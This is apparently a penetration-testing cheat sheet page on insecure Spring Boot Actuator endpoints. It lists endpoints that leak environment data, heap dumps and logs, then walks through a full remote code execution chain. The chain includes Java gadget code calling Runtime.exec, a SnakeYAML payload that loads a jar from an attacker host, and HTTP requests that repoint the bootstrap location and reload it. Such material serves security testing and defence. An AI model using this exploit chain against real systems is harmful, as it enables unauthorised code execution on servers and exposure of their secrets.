Insecure management interface

Springboot-Actuator

Actuator endpoints let you monitor and interact with your application. Spring Boot includes a number of built-in endpoints and lets you add your own. For example, the `/health` endpoint provides basic application health information.

Some of them contains sensitive info such as :

- `/trace` - Displays trace information (by default the last 100 HTTP requests with headers).
- `/env` - Displays the current environment properties (from Spring's ConfigurableEnvironment).
- `/heapdump` - Builds and returns a heap dump from the JVM used by our application.
- `/dump` - Displays a dump of threads (including a stack trace).
- `/logfile` - Outputs the contents of the log file.
- `/mappings` - Shows all of the MVC controller mappings.

These endpoints are enabled by default in Springboot 1.X. Note: Sensitive endpoints will require a username/password when they are accessed over HTTP.

Since Springboot 2.X only `/health` and `/info` are enabled by default.

Remote Code Execution via `/env`

Spring is able to load external configurations in the YAML format. The YAML config is parsed with the SnakeYAML library, which is susceptible to deserialization attacks. In other words, an attacker can gain remote code execution by loading a malicious config file.

Steps

1. Generate a payload of SnakeYAML deserialization gadget.

- Build malicious jar

```
git clone https://github.com/artsploit/yaml-payload.git
cd yaml-payload
# Edit the payload before executing the last commands (see below)
javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .
```

- Edit src/artsploit/AwesomeScriptEngineFactory.java

```
public AwesomeScriptEngineFactory() {
    try {
        Runtime.getRuntime().exec("ping rce.poc.attacker.example"); // COMMAND HERE
    } catch (IOException e) {
        e.printStackTrace();
    }
}
```

- Create a malicious yaml config (yaml-payload.yml)

```
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.example/yaml-payload.jar"]
  ]]
]
```

2. Host the malicious files on your server.

- yaml-payload.jar
- yaml-payload.yml

3. Change `spring.cloud.bootstrap.location` to your server.

```
POST /env HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59

spring.cloud.bootstrap.location=http://attacker.example/yaml-payload.yml
```

4. Reload the configuration.

```
POST /refresh HTTP/1.1
Host: victim.example:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
```

References

- Springboot - Official Documentation
- Exploiting Spring Boot Actuators - Veracode